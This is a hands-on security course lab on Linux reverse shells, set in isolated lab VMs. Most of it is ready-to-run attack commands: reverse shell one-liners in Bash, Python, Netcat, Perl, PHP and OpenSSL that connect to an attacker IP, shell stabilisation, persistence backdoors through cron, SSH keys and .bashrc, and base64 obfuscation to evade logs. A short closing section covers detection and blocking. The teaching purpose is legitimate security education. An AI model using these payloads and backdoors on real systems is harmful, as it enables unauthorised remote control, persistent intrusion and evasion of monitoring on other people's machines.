Skip to main content

Lab 9.2: Reverse Shell Linux

Learning Objectives​

By the end of this lab, you will be able to:

  • Create Linux reverse shells using different techniques
  • Use Bash, Python, Netcat to establish shells
  • Stabilize a basic shell into a full TTY shell
  • Understand reverse shell one-liners
  • Establish persistence with reverse shells
  • Detect and block Linux reverse shells
  • Understand the differences between Linux and Windows shells

Estimated Duration​

30 minutes

Prerequisites​

  • 2 VMs: Kali Linux (attacker) + Ubuntu/Debian (target)
  • Configured internal network
  • Understanding of Lab 3.2 (Reverse Shell Windows)
  • Lab 9.1 (Linux privilege escalation) completed

Professional Context​

Linux reverse shells are used by:

  • Pentesters after initial exploitation (web shell, compromised SSH)
  • Linux malware for C2 communication
  • APT groups for long-term access maintenance
  • Red Teams for attack simulations

Used after:

  • Web vulnerability exploitation (RCE)
  • Linux service exploitation
  • Successful SSH brute force
  • Credential stuffing

Establishing a reverse shell on a system without authorization = Unauthorized access.

AUTHORIZED:

  • Isolated lab VMs
  • Authorized tests with contract
  • Legal platforms (HTB, THM)

PROHIBITED:

  • Real servers without permission
  • Maintaining unauthorized access

Consequences: Computer crime (Criminal Code art. 342.1).


Part 1: Reverse Shell Bash​

Classic One-Liner​

On Attacker VM (Kali), listen:

nc -lvnp 4444

On Victim VM (Ubuntu), execute:

bash -i >& /dev/tcp/192.168.100.10/4444 0>&1

Detailed explanation:

bash -i              # Interactive shell
>& # Redirect stdout and stderr
/dev/tcp/IP/PORT # Special bash device for TCP connections
0>&1 # Redirect stdin

BOOM! Connection established!

On Kali, you see:

listening on [any] 4444 ...
connect to [192.168.100.10] from (UNKNOWN) [192.168.100.20] 54321
user@target:~$

Full shell of the victim!

Questions:

  1. Was the reverse shell connection established?
  2. What is the difference with the Windows reverse shell?

Part 2: Variations of Reverse Shells​

Python Reverse Shell​

Python 2 Version:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.100.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

Python 3 Version:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.100.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Advantage: Works even if /dev/tcp is not available

Netcat Reverse Shell​

If netcat available on target:

nc 192.168.100.10 4444 -e /bin/bash

If nc without -e option (BSD version):

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.100.10 4444 >/tmp/f

Perl Reverse Shell​

perl -e 'use Socket;$i="192.168.100.10";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

PHP Reverse Shell​

If PHP available:

php -r '$sock=fsockopen("192.168.100.10",4444);exec("/bin/bash -i <&3 >&3 2>&3");'

Questions: 3. Which method works on your target system? 4. Which do you prefer and why?


Part 3: Shell Stabilization​

Basic Shell Problems​

Basic shell has limitations:

  • No autocompletion (Tab)
  • No history (up/down arrows)
  • No clear screen (Ctrl+L)
  • Ctrl+C kills the shell
  • No functional vi/nano

Method 1: Python PTY​

In the reverse shell, execute:

python3 -c 'import pty; pty.spawn("/bin/bash")'

OR:

python -c 'import pty; pty.spawn("/bin/bash")'

Result: Basic interactive shell

Then, for FULL shell:

# In the shell
export TERM=xterm

# Then, press Ctrl+Z (put in background)

On your attacker machine (Kali):

stty raw -echo; fg

Then Enter twice

BOOM! Full TTY shell!

Test:

  • Tab for autocompletion
  • Arrows for history
  • Ctrl+L for clear
  • vi/nano work!

Method 2: Script Command​

script /dev/null -c bash

Immediate interactive shell!

Method 3: Expect​

expect -c 'spawn bash; interact'

Questions: 5. Did you manage to stabilize the shell? 6. Which features work now?


Part 4: Linux Persistence​

Cron Job for Auto Reconnection​

Create reconnection script:

echo '#!/bin/bash' > /tmp/reverse.sh
echo 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1' >> /tmp/reverse.sh
chmod +x /tmp/reverse.sh

Add to crontab:

(crontab -l 2>/dev/null; echo "* * * * * /tmp/reverse.sh") | crontab -

Execution: Every minute!

Verify:

crontab -l

SSH Key Backdoor​

Add your SSH key:

mkdir -p /home/user/.ssh
echo "ssh-rsa AAAA... your_public_key" >> /home/user/.ssh/authorized_keys
chmod 600 /home/user/.ssh/authorized_keys

Future connection:

ssh user@192.168.100.20

Permanent access without password!

Bashrc Backdoor​

Add to .bashrc:

echo 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1 &' >> /home/user/.bashrc

Every time user opens a terminal: Reverse shell!

Questions: 7. Does persistence via cron work? 8. How to detect these backdoors?


Part 5: Encryption and Obfuscation​

Encrypted Reverse Shell​

With OpenSSL:

Attacker (listen with SSL):

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444

Victim (SSL connection):

mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.100.10:4444 > /tmp/s; rm /tmp/s

Encrypted communication! IDS/IPS harder to detect.

Base64 Obfuscation​

Encode the payload:

echo 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1' | base64

Result:

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMC80NDQ0IDA+JjEK

Execution:

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMC80NDQ0IDA+JjEK | base64 -d | bash

Less suspicious in logs!

Questions: 9. Does the encrypted shell work? 10. Why is obfuscation useful?


Part 6: Detection and Defense​

Detect Outgoing Connections​

List active connections:

netstat -antup | grep ESTABLISHED
ss -tunap
lsof -i

Look for bash/sh with network connections:

ps aux | grep bash
lsof -i -a -c bash

If bash has outgoing TCP connection: Suspicious!

Block with iptables​

Block outgoing connections except allowed:

iptables -P OUTPUT DROP
iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

Reverse shells blocked!

Monitoring with auditd​

Monitor bash execution:

auditctl -a always,exit -F arch=b64 -S execve -F path=/bin/bash

Logs in: /var/log/audit/audit.log

Questions: 11. Did you detect the reverse shell with netstat? 12. Did iptables block the connection?


Deliverables​

  1. Report with different reverse shell methods tested
  2. Stabilized and functional shell
  3. Configured and tested persistence
  4. Demonstrated detection and blocking

Reference Commands​

Reverse Shells​

# Bash
bash -i >& /dev/tcp/IP/PORT 0>&1

# Python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

# Netcat
nc IP PORT -e /bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc IP PORT >/tmp/f

Stabilization​

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg

Persistence​

(crontab -l; echo "* * * * * /tmp/reverse.sh") | crontab -
echo 'ssh_key' >> ~/.ssh/authorized_keys
echo 'payload' >> ~/.bashrc

Conclusion​

Mastered techniques:

  • Multiple methods for Linux reverse shells
  • Full TTY stabilization
  • Persistence via cron, SSH, bashrc
  • Encryption and obfuscation
  • Detection and defense

Differences Linux vs Windows:

  • Linux: More native methods (bash, pre-installed python)
  • Easier stabilization (PTY)
  • Similar detection (netstat, monitoring)

Lab developed as part of the Operating Systems course - MODULE 9